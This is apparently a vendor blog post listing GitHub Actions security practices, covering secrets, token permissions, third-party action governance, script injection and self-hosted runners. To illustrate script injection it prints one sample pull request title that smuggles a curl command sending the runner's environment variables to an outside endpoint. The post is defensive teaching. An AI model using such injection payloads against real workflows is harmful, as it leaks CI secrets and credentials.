Introduction
Welcome to the second blog post in our series focused on GitHub Actions security. In the previous post, we discussed how Google used automation to implement GitHub Actions security best practices across many repositories. Today, we will go over a comprehensive overview of GitHub Actions security best practices.
GitHub Actions is a Continuous Integration (CI) / Continuous Delivery (CD) platform offered by GitHub. As GitHub Actions typically has access to sensitive secrets such as cloud admin credentials, it’s important to ensure that you implement GitHub Actions security best practices in your environment.
This blog post is an actionable guide for implementing GitHub Actions security best practices. You can use the guide to audit and improve your enterprise GitHub Actions environment. For a quick guide, download the checklist that has all the GitHub Actions security best practices you need to implement.
We will publish follow-up blog posts to cover each area in detail.
Secrets Management
Use OpenID Connect (OIDC)
The best way to handle secrets in GitHub Actions is to not use explicit secrets in the first place with your workflows. OpenID Connect (OIDC) allows enterprises to build credentialless GitHub Actions workflows. With OIDC, enterprises complete a one-time setup with their cloud providers like Amazon Web Services (AWS), Microsoft Azure, Google Cloud Provider (GCP), and HashiCorp Cloud. As part of this setup step, enterprises can also define authorization policies for their GitHub Actions in their cloud provider.
After that, GitHub Actions can automatically generate a unique short-term identity token for these cloud providers for each run. You can also use OpenID Connect with package registries such as Python Package Index (Pypi).
It’s highly recommended that you use OpenID Connect wherever possible. With OpenID Connect, you can eliminate all GitHub Actions secrets, including those that don’t even support OIDC. For example, if you use Azure, you can store all long-term CI/CD credentials in Azure Key Vault and access it from your GitHub Actions workflows using OIDC. Similarly, the AWS secret manager can be used by AWS customers. While this approach does eliminate long-term secrets from your GitHub Actions environment, such secrets outside of GitHub do not benefit from other GitHub Actions secret management features, such as environment secrets and secret redaction in logs.
Set least-privileged GITHUB_TOKEN permissions
The GITHUB_TOKEN is the auto-generated identity token for GitHub Actions workflow runs. You can read more about this feature in GitHub docs here. For each workflow run, GitHub generates a unique token for accessing GitHub APIs.
This eliminates the need to manually create GitHub Personal Access Tokens (PAT) or GitHub Apps for GitHub Actions workflows. Many GitHub Actions rely on this token for accessing GitHub APIs. By default, this token has elevated privileges. You can explicitly set the token permission in the workflow file or in repository/organization settings.
The best way to check GITHUB_TOKEN permissions is to look at the build log for a workflow run under the ‘Set up job’ step.
You should use the least privileged GitHub token for your GitHub Actions workflow. There are two ways to do that:
Read-only permissions by default
The best way to implement the least privileged access model for GITHUB_TOKEN is to set “Read repository contents and package permissions” as workflow permissions in repository/organization settings.
Once the setting is turned on, all GitHub Actions workflow in the environment have only two read permissions by default: contents-read and packages-read
If a workflow needs any other permissions, you must explicitly define those permissions in the workflow file. All enterprises must strongly consider turning this setting on at the organization level.
All permissions by default
In this method, GITHB_TOKEN has all read and write permissions by default. You should explicitly define the least privileged GITHUB_TOKEN permissions in all workflow files manually. Implementing the least privileged model across all workflows on a large scale can be challenging, given this approach requires manually updating all workflow files.
Learn more about GITHUB_TOKEN- how it works and how to secure automatic GitHub Action tokens.
Use environment secrets with mandatory reviews
GitHub Actions secrets are accessible to all workflows and branches in the repository. If you have a sensitive secret such as admin cloud credentials, a bad actor can create a new workflow/update an existing workflow to reference the secret and exfiltrate it from your GitHub Actions environment.
Environment secrets provide the ability to implement guardrails for accessing GitHub secrets. For environment secrets, you can enforce mandatory reviews so that they cannot be accessed unless an authorized reviewer approves the workflow run.
You can increase your overall GitHub security with GitHub environments as it supports several other security quality gates, such as making sure that the application does not have vulnerable dependencies or issues flagged by static code analyzers.
Rotate secrets
Like any other secrets, you must rotate GitHub Actions secrets periodically and invalidate old GitHub Actions secrets after rotation. You can view your Actions secrets on the GitHub repository settings page.
Unfortunately, GitHub currently does not provide a managed way to discover all GitHub secrets and their metadata across your GitHub organization. To inventory all GitHub Actions secrets in your enterprise environment, you can either:
- Visit the repository settings page for all repositories, as shown above.
- Use GitHub APIs to build an application to inventory all secrets and their metadata across your GitHub organization.
Don’t print secrets in Actions run logs
GitHub Actions hide secrets it detects in workflow run logs. For example, if you have a GitHub Actions secret named SECRET_API_KEY and you run the workflow below:
You will see that the value of the API key is redacted in the log:
GitHub Actions can only hide secrets that it is aware of. That is, it can only hide secrets that are explicitly associated with the workflow.
If you print a secret that was discovered or generated at run time (e.g., OIDC authentication token) in build logs, it will not be masked. In general, you must avoid printing secrets in logs in the first place. Pay extra caution with public open-source GitHub repositories as GitHub Action logs for public repositories are public, and currently, there is no way to make them private.
Don't use structured data as secrets
This best practice aligns with the above recommendation related to secret redaction in logs. You should not use custom structured data such as a blob of JSON, XML, or YAML (or similar) to encapsulate a secret value. If you or one of your CI/CD tools emits structured secrets into workflow run logs, it may not get redacted.
Scan GitHub Actions logs for secrets
There have been past incidents where build tools and third-party components accidentally leaked secrets in workflow run logs. For example, in November 2023, Microsoft fixed a bug in Azure CLI that leaked secrets in build logs without the customer's knowledge. You should scan your workflow run logs for secrets and other sensitive information such as PII.
Looking for more? Check out these points in detail in our blog post on GitHub Actions secret management best practices.
Runtime Security
GitHub Actions is a highly privileged environment with access to cloud admin credentials and source code. In addition, it produces build artifacts such as container images and software packages that run in the product environment. It typically runs third-party code through build tools, software dependencies, and third-party GitHub Actions.
Because of these reasons, GitHub Actions is a high-risk environment. You must use an effective runtime security solution in your GitHub Actions environment to prevent supply chain attacks. GitHub Actions security threats are significantly different from those related to cloud and enterprise workloads; you must use a runtime security solution that can detect and prevent GitHub Actions-related threat scenarios.
Use Harden-Runner
StepSecurity Harden-Runner is an open-source GitHub Actions runtime security solution. It is based on the learnings from past CI/CD security attacks. We recommend enterprises leverage Harden-Runner to restrict egress network traffic and implement other runtime security controls. Harden-Runner is free for open-source projects. Harden-Runner is also supported on Actions Runner Controller (ARC) and self-hosted Virtual Machine (VM) runners.
Third-party Actions Governance
GitHub Actions has 20,000+ third-party Actions available in the GitHub marketplace. In addition, it has many more GitHub Actions authored by open-source maintainers outside of the GitHub Actions Marketplace.
Individual open-source developers, alongside larger communities, have played a pivotal role in building and maintaining a diverse and robust array of GitHub Actions. Their dedication and skill are key components of the GitHub ecosystem. One of the major differentiating features of GitHub over other CI/CD providers is the rich ecosystem of reusable GitHub Actions.
Given GitHub Actions is a highly privileged environment, it’s paramount for enterprises to have a robust framework for managing third-party actions being used in their environment. If a bad actor gets access to your Actions environment either by exploiting a vulnerability in an Action or using an intentionally malicious Action, it can be catastrophic. We have provided a few actionable recommendations below.
Enforce allow specific third-party GitHub Actions policy
By default, all third-party GitHub Actions are allowed within an enterprise environment. GitHub provides an organizational control to limit what third-party Actions can be used in the organization. Enterprises must turn on the setting to only allow explicitly authorized third-party GitHub Actions to be used in the organization.
This allows central teams such as DevOps and Security to perform due diligence before third-party GitHub Actions can be used in their environment. Under this setting, you may consider allowing all GitHub-owned Actions as GitHub maintains a high-quality bar for them. All other third-party GitHub Actions must be explicitly allowed by the security and DevOps teams.
Review third-party Actions
GitHub Actions from reputed organizations such as GitHub, Microsoft, AWS, and Google can be considered safe. However, you must perform due diligence on other Actions before using them in your environment.
You must pay extra attention to GitHub Actions maintained by individual developers. Dedicated open-source developers invest significant time and effort into creating and maintaining a diverse array of GitHub Actions, enriching the ecosystem. However, if we were to wear our security hats, there are a few security risks associated with such GitHub Actions:
- Over time, many open-source GitHub Actions are abandoned and not maintained, increasing the risk for the consumer of the Action.
- Bad actors are now increasingly targeting popular open-source projects maintained by open-source maintainers.
- A malicious/disgruntled maintainer can poison their GitHub Action.
- The GitHub Actions repository can be deleted accidentally/intentionally from GitHub, breaking all consumer GitHub Actions workflows.
A malicious action can potentially compromise your entire enterprise environment. You must periodically review all GitHub Actions in use in your enterprise environment.
Fork risky third-party Actions
Organizations can mitigate some threats identified in the previous sections by forking the Action repository. This enables organizations to have better change management for the Action. Once forked, you should perform additional security hardening as required such as upgrading vulnerable and end-of-life dependencies. However, ongoing maintenance for such forked Actions can be an expensive endeavor for security and DevOps teams. Some enterprises also create and maintain equivalent custom actions in-house.
Enterprises should consider merging bug/security fixes and feature enhancements from their forked Actions upstream so that it can benefit the whole Actions community.
Pin third-party Actions
GitHub recommends pinning all GitHub Actions to the full-length commit SHA. Using full-length commit SHA instead of a version tag ensures that your GitHub Actions workflows always use the same release of the Action as the commit hash is immutable. While commit hash provides better security, it also forces developers to manually deploy each update to the Action, including minor updates. A practical pinning approach can be to use the version tag for the Actions maintained by GitHub and other reputed organizations. All other Actions must be pinned using the full-length commit SHA.
Get a complete guide on pinning GitHub Actions for enhanced security in our latest blog.
Support Open-Source Communities
Developers and not-for-profit organizations, especially those driven by individual developers, often work with limited resources but achieve remarkable outcomes. Enterprises can play a significant role in supporting these developers. Developers and not-for-profit organizations maintaining open-source GitHub Actions are often strapped for resources. Enterprises must consider supporting them, especially the ones that maintain the GitHub Actions they rely on.
Enterprises have several avenues to support open-source Actions, such as active participation in open-source projects with software development and administrative tasks, providing financial support, and so on. GitHub has built-in features for enterprises to sponsor open-source communities and publicly show their support. This will strengthen the security of the entire GitHub Actions ecosystem.
Get more details on these points, check out our blog posts that expands on best practices for third-party actions governance.
Prevent script injection vulnerabilities
You must make sure that your GitHub Actions code does not execute untrusted input. As an attacker can control several properties of the github-context object, these untrusted properties can be interpreted as code under certain circumstances. Attackers can control github-context properties such as default_branch, email, head_ref, label, message, name, page_name, ref, and title. This class of security issues leads to remote code execution.
Let’s consider the following vulnerable GitHub Actions workflow:
As github.event.pull_request.title is untrusted, the above GitHub Actions workflow job is vulnerable to the script injection attack. In this case, an attacker can create a pull request with the title in a particular format to exploit the vulnerability to run malicious code.
For example, an attacker can create a pull request with the following title:
Update dependencies `curl -X POST -d "env=$(env)" http://app.stepsecurity.io`
When the above GitHub Actions workflow executes on this pull request, the injected code will exfiltrate environment secrets to the attacker controller endpoint. You can see the PoC exploitation below in the Actions log file:
GitHub Actions provides several built-in security controls to prevent injection attacks.
Avoid inline scripts
Wherever possible, use tried and tested GitHub Actions instead of inline scripts. Please note that a GitHub Action itself can be vulnerable to script injection attacks, so you must review the Action before using it.
Intermediate Environment Variable
If you must use inline scripts, consider using intermediate environment variables to access user controller attributes. Environment variables store the expression in memory and use it as a variable. As Environment variables are not used during the script generation process, it eliminates script injection vulnerabilities. For example, you can eliminate the above vulnerability by using an intermediate environment variable as follows:
When this workflow is executed with the same malicious pull request as above, it does not run as shown below.
Workflow Change Management
Use reusable workflows
Security and DevOps teams should create reusable workflows for common CI/CD scenarios such as running tests, building production images, and deployment. This allows organizations to standardize GitHub Actions workflows across many engineering teams. Furthermore, it empowers Security and DevOps teams to maintain workflows for critical tasks centrally. With the GitHub Actions security feature to only allow specific Actions, organizations with a really high security bar can enforce all GitHub Actions workflows must be derived from reusable workflows.
Run sensitive workflows only on trusted code
You must make sure that critical GitHub Actions workflows such as the ones that produce production builds or manage cloud environments only operate on trusted code. This essentially means that it should only operate on peer-reviewed merged code changes. You should make sure that these GitHub workflows don’t have trigger conditions code such as discussion or pull_request that may run it on untrusted code.
Enable Dependabot updates for your Actions
Dependabot creates automated pull requests to upgrade your Actions once turned on. This eliminates the need to manually check and apply updates for your Actions. Enterprises must have a process to periodically review Dependabot-created pull requests to make sure that they are using non-vulnerable versions.
Enable Branch Protection
Branch Protection allows enterprises to enforce a review process for all code changes. This will ensure that all GitHub Actions workflow changes are vetted by other developer(s) before they are deployed.
Use CODEOWNERS
In large organizations, it can be difficult to identify owners of GitHub Actions workflows that are hosted in a repository with a large number of contributors. To prevent accidental mistakes by other developers, enterprise users must use the CODEOWNERS file to explicitly identify owners of GitHub Actions workflows.
Prevent GitHub Actions from creating or approving pull requests
Under default settings, GitHub Actions workflows can create and/or approve pull requests. This would bypass the change management process. To prevent this, you can disable this feature under Actions settings.
In addition, you can also mitigate this issue for most of your GitHub workflows by setting the minimum permission for GITHUB_TOKEN in your workflow and ensuring that your workflows don’t have the permission to create or approve pull requests.
Disable workflow runs from forked repositories if not needed
When a repository is forked, it copies over all the GitHub Actions workflow files. However, the fork cannot access the repository’s Actions secrets. A fork can be used to trigger certain GitHub Actions workflows by creating a pull request. Furthermore, if a sensitive workflow in the original repository gets triggered on the pull request without any approval, it can potentially be hijacked by bad actors.
To reduce your attack surface, if forking is not needed for your private repositories, you should disable it from the GitHub repository.
You can also enforce manual approvals before running GitHub workflows for pull requests originating from outside collaborators as shown below.
Self-Hosted Runners
Self-hosted runners provide enterprises with complete control over the runner infrastructure. Also, self-hosting runners are the only option for GitHub Enterprise Server customers to use GitHub Actions. Self-hosted runners come with additional security responsibilities that GitHub takes care of in the GitHub-Hosted runner environment.
Looking to know more about Actions Runner Controller security? Check out our blog post series on Actions Runner Controller (ARC) that covers security controls for Kubernetes-based self-hosted runners:
- Introduction to GitHub Actions Runner Controller: A Blog Series
- How to Use Docker in Actions Runner Controller (ARC) Runners Securely
- Deploy Actions Runner Controller (ARC) using ArgoCD: A Step-by-Step Guide
Secure the underlying infrastructure
In addition to securing the runner environment, enterprises must also secure the underlying infrastructure that hosts the runner. In a typical cloud environment, you should identify all the cloud services you will be using for hosting the runner and implement security controls that you are responsible for in the shared responsibility model. For example, if you are using AWS EKS for hosting an Actions Runner Controller (ARC) instance, you should implement general AWS as well as EKS-specific security best practices recommended by AWS.
Use ephemeral runners
Certain self-hosted runner deployments allow a runner environment to be re-usable. For example, when you run GitHub Actions binary on a self-hosted Virtual Machine (VM), it does not recycle the Virtual Machine between two Actions workflow runs by default.
GitHub-Hosted runner instances are ephemeral. Self-hosted Actions runner environments that use the same runner instance for multiple jobs have a substantially higher attack surface. When using self-hosted runners, you must make sure that each GitHub Actions job gets a clean ephemeral environment.
Don’t use with public repositories
As self-hosted runners are hosted inside a customer-controlled environment, you must avoid using it with public repositories. For public repositories, you should always use GitHub-Hosted runners unless you have pressing conditions that require self-hosted runners.
Harden Runner image
As you have complete control over the runner image, you must perform security hardening on the image and remove unused components. If you are using Actions Runner Controller (ARC), you must harden the runner container image. If you are using self-hosted Virtual Machine (VM) runners, you must harden the base image that is used to run cloud VMs.
Also Read: GitHub Actions Security Automation for Your Private Repositories
Developer Education
Leverage GitHub Actions Goat
StepSecurity GitHub Actions Goat is an open-source educational project that simulates common security attacks and vulnerabilities in a GitHub Actions CI/CD environment and shows how to defend against such attacks. It covers some of these best practices we have described in the blog post. Developers can use GitHub Actions Goat to learn about GitHub Actions security best practices and implement them in a test environment.
Conclusion
Ensuring the security of GitHub Actions is important to secure your organization's sensitive information and secrets from leaking and potential breaches. By implementing the best practices mentioned in this blog, you can enhance the security of your GitHub environment and keep your workflows secure from threats. We will be coming up with many more blogs on GitHub Actions security best practices in detail. So stay tuned for more!
Frequently Asked Questions
How secure is GitHub Action?
GitHub Actions are secure with built-in features for dependency analysis, vulnerability notifications, and automated updates, enhancing code security. However, its security depends on various factors such as how secrets are managed, access controls are implemented, and runtime environments are secured. By following GitHub Actions security best practices you can significantly enhance the security of GitHub Actions in your environment.
Are GitHub Actions secrets safe to use?
GitHub Actions secrets can be safe to use if managed securely. It's crucial to avoid exposing secrets in logs, rotate them periodically, use environment secrets with mandatory reviews, and implement access controls to restrict who can access these secrets. Additionally, consider using OpenID Connect (OIDC) for credential-less workflows to further enhance the security of GitHub Actions secrets.
Are GitHub Actions private?
GitHub Actions can be configured to run in private repositories, ensuring that workflows, secrets, and sensitive information are kept private within your organization. However, GitHub Actions logs for public repositories are public by default, so extra caution is needed when working with public repositories to avoid exposing sensitive information inadvertently.
How can I manage secrets securely in GitHub Actions?
To manage secrets securely, consider using OpenID Connect (OIDC) for credential-less workflows and set least-privileged permissions for the GITHUB_TOKEN. You can also utilize environment secrets with mandatory reviews, rotate secrets periodically, and avoid printing secrets in logs.
What steps should I take to govern third-party GitHub Actions effectively?
Enforce a policy to allow specific third-party GitHub Actions, review third-party Actions before use, fork risky third-party Actions for better control, and pin third-party Actions to specific versions for consistency and security.
Are there educational resources available to learn to implement GitHub Actions security best practices?
Yes, you can leverage open-source educational projects like StepSecurity GitHub Actions Goat to simulate security attacks and vulnerabilities in GitHub Actions CI/CD environments, helping developers learn and implement best practices.